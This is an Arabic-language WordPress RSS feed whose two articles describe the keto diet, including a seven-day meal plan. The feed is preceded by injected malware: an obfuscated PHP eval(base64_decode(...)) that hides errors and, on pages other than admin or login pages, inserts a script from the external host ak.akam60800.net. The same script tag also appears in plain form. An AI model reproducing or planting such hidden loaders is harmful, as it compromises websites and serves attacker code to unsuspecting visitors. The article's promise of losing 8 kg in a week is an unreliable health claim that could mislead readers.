eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | ريجيم الكيتو</title>
	<atom:link href="https://jouzal.com/tag/%d8%b1%d9%8a%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Thu, 05 Dec 2019 17:19:41 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | ريجيم الكيتو</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-8-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a3%d8%b3/</link>
		
		<dc:creator><![CDATA[سناء حسين]]></dc:creator>
		<pubDate>Tue, 27 Aug 2019 08:25:52 +0000</pubDate>
				<category><![CDATA[تخسيس و رشاقة]]></category>
		<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[اسرع رجيم]]></category>
		<category><![CDATA[اكلات نظام الكيتو دايت]]></category>
		<category><![CDATA[الكيتو دايت]]></category>
		<category><![CDATA[دايت اسبوع واحد]]></category>
		<category><![CDATA[دايت الكيتو]]></category>
		<category><![CDATA[دايت بدون حرمان]]></category>
		<category><![CDATA[دايت سريع]]></category>
		<category><![CDATA[دايت سريع المفعول]]></category>
		<category><![CDATA[دايت لانقاص 8 كيلو]]></category>
		<category><![CDATA[رجيم اسبوع واحد]]></category>
		<category><![CDATA[رجيم الانقاذ السريع]]></category>
		<category><![CDATA[رجيم الكيتو]]></category>
		<category><![CDATA[رجيم الكيتو دايت بالتفصيل]]></category>
		<category><![CDATA[رجيم الكيتو في اسبوع]]></category>
		<category><![CDATA[رجيم بدون حرمان]]></category>
		<category><![CDATA[رجيم سريع]]></category>
		<category><![CDATA[رجيم سريع المفعول]]></category>
		<category><![CDATA[ريجيم الكيتو]]></category>
		<category><![CDATA[ريجيم لفقدان 8 كيلو في اسبوع]]></category>
		<category><![CDATA[ماهو الكيتو كلاسيك]]></category>
		<category><![CDATA[نظام الكيتو]]></category>
		<category><![CDATA[نظام الكيتو الاسبوعي]]></category>
		<category><![CDATA[نظام الكيتو دايت تجارب]]></category>
		<category><![CDATA[نظام غذائى]]></category>
		<category><![CDATA[نظام غذائي صحي]]></category>
		<category><![CDATA[نظام غذائي لانقاص الوزن]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=3019</guid>

					<description><![CDATA[[highlight color=&#8221;green&#8221;]رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان[/highlight] يعتمد رجيم الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض التعليمات : يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات. فعندما يكون مصدر الطاقة الرئيسي [&#8230;]]]></description>
										<content:encoded><![CDATA[<h3>[highlight color=&#8221;green&#8221;]رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان[/highlight]</h3>
<p>يعتمد رجيم الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض <strong>التعليمات :</strong></p>
<ul>
<li>يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات.</li>
<li>فعندما يكون مصدر الطاقة الرئيسي هو الدهون و عند بذل اي نشاط او مجهود يستخدم الجسم مخزون الطاقة من الدهون فبتالي يتم حرقها.</li>
<li>يتم الاستغناء عن الفواكه بشكل عام عدا الفراولة والافوكادو.</li>
<li>يعتمد طهي الطعام على استخدام السمن الحيواني  مثل السمن البلدي والزبدة والابتعاد تماما عن الدهون النباتية ومنها السمن النباتي حيث يعتبر الدهن الحيواني مصدر أساسي.</li>
</ul>
<p><strong>و ينقسم نظام <a href="https://www.thaqafnafsak.com/2018/10/%D9%86%D8%B8%D8%A7%D9%85-%D8%B1%D8%AC%D9%8A%D9%85-%D8%A7%D9%84%D9%83%D9%8A%D8%AA%D9%88.html">الكيتو</a> إلى نوعين</strong> <strong>:</strong></p>
<ul>
<li><strong>الكيتو الكلاسيكي</strong></li>
<li>وهو يعتمد على البيض والبروتينات مثل السمك واللحم والدجاج والخضروات الورقية.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><strong>وصفات الكيتو</strong></li>
<li>وفيها يفضل الاشخاص التنوع في تناول الطعام حيث يتناولون أكلات أخرى إلى جانب اكلات الكيتو الكلاسيكي مثل المحشي بانواعه ولكن باستخدام اللحم المفروم بدلا من الارز</li>
</ul>
<h2>[highlight color=&#8221;pink&#8221;]محتوى ذات صلة [/highlight]</h2>
<h4 class="post-title entry-title"><a href="https://jouzal.com/%d8%a7%d9%86%d9%82%d8%a7%d8%b5-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d8%a8%d8%a7%d9%84%d8%b3%d9%85%d9%86%d8%a9-%d8%a7%d9%84%d8%a8%d9%84%d8%af%d9%8a/">انقاص الوزن بالسمنة البلدي بدون حرمان او مجهود بنظام الكيتو</a></h4>
<h4 class="post-title entry-title"><a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%b3%d8%b1%d9%8a%d8%b9-%d9%88-%d8%b5%d8%ad%d9%8a-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-5-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a7%d8%b3%d8%a8%d9%88%d8%b9-%d9%88%d8%a7/">رجيم سريع و صحي لخسارة 5 كيلو في اسبوع واحد فقط</a></h4>
<h4 class="post-title entry-title"><a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%82%d8%a7%d8%b1%d8%a7%d8%b7%d8%a7%d9%8a-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-20-%d9%83%d9%8a%d9%84%d9%88-%d8%a8%d8%af%d9%88/">رجيم قاراطاي بالتفصيل لخسارة 20 كيلو بدون جوع او حرمان مدي الحياة</a></h4>
<div id="attachment_3021" style="width: 610px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" aria-describedby="caption-attachment-3021" class="size-full wp-image-3021" src="http://jouzal.com/wp-content/uploads/2019/08/What-Fats-To-Eat-On-The-Ketogenic-Diet-Cover-Image.jpg" alt="رجيم الكيتو لفقدان 8 كيلو في اسبوع" width="600" height="401" srcset="https://jouzal.com/wp-content/uploads/2019/08/What-Fats-To-Eat-On-The-Ketogenic-Diet-Cover-Image.jpg 600w, https://jouzal.com/wp-content/uploads/2019/08/What-Fats-To-Eat-On-The-Ketogenic-Diet-Cover-Image-300x201.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><p id="caption-attachment-3021" class="wp-caption-text">رجيم الكيتو لفقدان 8 كيلو في اسبوع</p></div>
<h3>[highlight color=&#8221;yellow&#8221;]و بترتيب الأيام يمكنك اتباع نظام الرجيم التالي :[/highlight]</h3>
<h4><strong>[highlight color=&#8221;green&#8221;]اليوم الأول :[/highlight]</strong></h4>
<ul>
<li><strong>الإفطار : </strong>بيض مخفوق بالزبدة علي طبقة من الخس مغطاه بالأفوكادو.</li>
<li><strong>وجبة خفيفة : </strong>بذور عباد الشمس.</li>
<li><strong>الغذاء : </strong>سلطة السبانخ مع سمك السلمون المشوي.</li>
<li><strong>وجبة خفيفة : </strong>شرائح من الكرفس وشرائح الفلفل.</li>
<li><strong>العشاء : </strong>قطع اللحم مع هريس القرنبيط وسلطة الكرنب الأحمر.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الثاني :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>قهوة ( مصنوعة من الزبدة وزيت جوز الهند ) ، وبيض مسلوق.</li>
<li><strong>وجبة خفيفة : </strong>مكسرات المكاديميا.</li>
<li><strong>الغذاء : </strong>سلطة التونة مع قطع الطماطم.</li>
<li><strong>وجبة خفيفة : </strong>لحم البقر المشوي وشرائح الجبن الملفوفة.</li>
<li><strong>العشاء : </strong>كرات اللحم مع معكرونة الكوسة ، مغطاة بصلصة الكريمة.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الثالث :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>الجبن والبيض المقلي بالخضار مع الصلصة.</li>
<li><strong>وجبة خفيفة : </strong>زبادي يوناني عادي  غني بالدهون.</li>
<li><strong>الغذاء : </strong>تناول سايثمي مع الحساء.</li>
<li><strong>وجبة خفيفة : </strong>عصير مصنوع من حليب اللوز ، الخضروات ، زبدة اللوز ومسحوق البرتين.</li>
<li><strong>العشاء : </strong>دجاج مشوي مع الهليون ومشروم سوتيه ( مسلوق).</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الرابع :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>عصير مصنوع من حليب اللوز ، الخضروات وزبدة اللوز ومسحوق البروتين.</li>
<li><strong>وجبة خفيفة : </strong>اثنان من البيض المسلوق<strong>.</strong></li>
<li><strong>الغذاء : </strong>قطع الدجاج الخالية من الجلد التي يتم طهيها من دقيق اللوز وطبقة من الخضار مع الخيار وجبن الماعز.</li>
<li><strong>وجبة خفيفة : </strong>شرائح الجبن وشرائح الفلفل الحلو.</li>
<li><strong>العشاء : </strong>جمبري مشوي مغطي بصلصة زبدة الليمون مع القليل من الهليون.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الخامس :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>بيض مقلي مع اللحم وجزء من الخضار.</li>
<li><strong>وجبة خفيفة : </strong>القليل من الجوز مع ربع كوب من التوت.</li>
<li><strong>الغذاء : </strong>برغر بالخس ومغطي بالأفوكادو مع سلطة جانبية.</li>
<li><strong>وجبة خفيفة : </strong>قطع من الكرفس المغموسة بزبدة اللوز.</li>
<li><strong>العشاء : </strong>خبز التوفو مع الأرز والقرنبيط ، والفلفل والمغطاه مع صلصة الفول السوداني المصنوعة في المنزل.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم السادس :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>بيض مخبوز في أكواب الأفوكادو.</li>
<li><strong>وجبة خفيفة : </strong>رقائق الشيبس الأخضر ( الكيل).</li>
<li><strong>الغذاء : </strong>لفائف الأفوكادو الملفوفة مع السلمون الملفوفة في الأعشاب البحرية ( يجب أن تكون خالية من الأرز ).</li>
<li><strong>وجبة خفيفة : </strong>بعض اللحوم ( الديك الرومي المدخن ).</li>
<li><strong>العشاء : </strong>لحم البقر المشوي مع الفلفل والبروكلي المسلوق علي البخار.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم السابع :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>البيض المخفوق مع الخضار المغطي بالصلصة.</li>
<li><strong>وجبة خفيفة : </strong>شرائح الأعشاب البحرية المجففة والجبن.</li>
<li><strong>الغذاء : </strong>سلطة السردين المصنوعة مع المايونيز في نصف ثمرة أفوكادو.</li>
<li><strong>وجبة خفيفة : </strong>turkey jerky ( يجب عدم إضافة سكريات ).</li>
<li><strong>العشاء : </strong>سمك السلمون المشوي مع الزبدة.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>انقاص الوزن بالسمنة البلدي بدون حرمان او مجهود بنظام الكيتو</title>
		<link>https://jouzal.com/%d8%a7%d9%86%d9%82%d8%a7%d8%b5-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d8%a8%d8%a7%d9%84%d8%b3%d9%85%d9%86%d8%a9-%d8%a7%d9%84%d8%a8%d9%84%d8%af%d9%8a/</link>
		
		<dc:creator><![CDATA[زينب محمد]]></dc:creator>
		<pubDate>Mon, 08 Jul 2019 19:38:44 +0000</pubDate>
				<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[لايف ستايل]]></category>
		<category><![CDATA[السمنة البلدي]]></category>
		<category><![CDATA[انقاص الوزن]]></category>
		<category><![CDATA[ريجيم الكيتو]]></category>
		<category><![CDATA[وصفات الكيتو]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=2020</guid>

					<description><![CDATA[&#160; انقاص الوزن بالسمنة البلدي هو نظام غذائى جديد يتبع انظمة ريجيم الكيتو و التى انتشرت مؤخرا و حققت نتائج مبهرة فى اقل وقت ممكن و باقل مجهود و بدون حرمان. ان السمنة والوزن الزائد اصبحت من اكبر المشاكل التي تواجه الانسان بشكل عام وتعددت الطرق للتخلص من الوزن الزائد. كما تعددت الانظمة الغذائية المختلفة، [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>انقاص الوزن بالسمنة البلدي هو نظام غذائى جديد يتبع انظمة ريجيم الكيتو و التى انتشرت مؤخرا و حققت نتائج مبهرة فى اقل وقت ممكن و باقل مجهود و بدون حرمان.</p>
<p>ان السمنة والوزن الزائد اصبحت من اكبر المشاكل التي تواجه الانسان بشكل عام وتعددت الطرق للتخلص من الوزن الزائد.</p>
<p>كما تعددت الانظمة الغذائية المختلفة، ولكن ريجيم الكيتو انتشار مؤخرا و اصبح  محط جدل ونقاش شديدين حيث يعتمد على تناول السمن البلدي والجبن التركي او الرومي كما يطلق عليها البعض.</p>
<p>بالاضافة الى المسقعة وكل مالذ وطاب من المعروف انه ممنوع اثناء الحمية الغذائية وفي هذا المقال سنتعرف على طبيعة اتباع هذا النظام.</p>
<p>&nbsp;</p>
<div id="attachment_2026" style="width: 1010px" class="wp-caption aligncenter"><img decoding="async" aria-describedby="caption-attachment-2026" class="size-full wp-image-2026" src="http://jouzal.com/wp-content/uploads/2019/07/shutterstock_725641921.jpg" alt="انقاص الوزن بالسمنة البلدي" width="1000" height="667" srcset="https://jouzal.com/wp-content/uploads/2019/07/shutterstock_725641921.jpg 1000w, https://jouzal.com/wp-content/uploads/2019/07/shutterstock_725641921-300x200.jpg 300w, https://jouzal.com/wp-content/uploads/2019/07/shutterstock_725641921-768x512.jpg 768w" sizes="(max-width: 1000px) 100vw, 1000px" /><p id="caption-attachment-2026" class="wp-caption-text">انقاص الوزن بالسمنة البلدي</p></div>
<p>&nbsp;</p>
<p style="text-align: right;">يعتمد نظام الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض <strong>التعليمات :</strong></p>
<ul>
<li style="text-align: right;">يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات.</li>
<li style="text-align: right;">فعندما يكون مصدر الطاقة الرئيسي هو الدهون و عند بذل اي نشاط او مجهود يستخدم الجسم مخزون الطاقة من الدهون فبتالي يتم حرقها.</li>
<li style="text-align: right;">يتم الاستغناء عن الفواكه بشكل عام عدا الفراولة والافوكادو.</li>
<li style="text-align: right;">يعتمد طهي الطعام على استخدام السمن الحيواني  مثل السمن البلدي والزبدة والابتعاد تماما عن الدهون النباتية ومنها السمن النباتي حيث يعتبر الدهن الحيواني مصدر أساسي.</li>
</ul>
<p><strong>و ينقسم نظام <a href="https://www.thaqafnafsak.com/2018/10/%D9%86%D8%B8%D8%A7%D9%85-%D8%B1%D8%AC%D9%8A%D9%85-%D8%A7%D9%84%D9%83%D9%8A%D8%AA%D9%88.html">الكيتو</a> إلى نوعين</strong> <strong>:</strong></p>
<ul>
<li><strong> الكيتو الكلاسيكي</strong></li>
<li>وهو يعتمد على البيض والبروتينات مثل السمك واللحم والدجاج والخضروات الورقية.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><strong>وصفات الكيتو</strong></li>
<li>وفيها يفضل الاشخاص التنوع في تناول الطعام حيث يتناولون أكلات أخرى إلى جانب اكلات الكيتو الكلاسيكي مثل المحشي بانواعه ولكن باستخدام اللحم المفروم بدلا من الارز.</li>
</ul>
<p>&nbsp;</p>
<p><strong>قد يعجبك أيضا :</strong></p>
<h5><a href="https://jouzal.com/5-%d8%b9%d8%a7%d8%af%d8%a7%d8%aa-%d8%b3%d9%8a%d8%a6%d8%a9-%d8%aa%d8%b3%d8%a8%d8%a8-%d8%ab%d8%a8%d8%a7%d8%aa-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d8%ad%d8%aa%d9%8a-%d9%85%d8%b9-%d8%a7%d8%aa%d8%a8%d8%a7/">5 عادات سيئة تسبب ثبات الوزن حتي مع اتباع نظام رجيم او وصفات تخسيس</a></h5>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>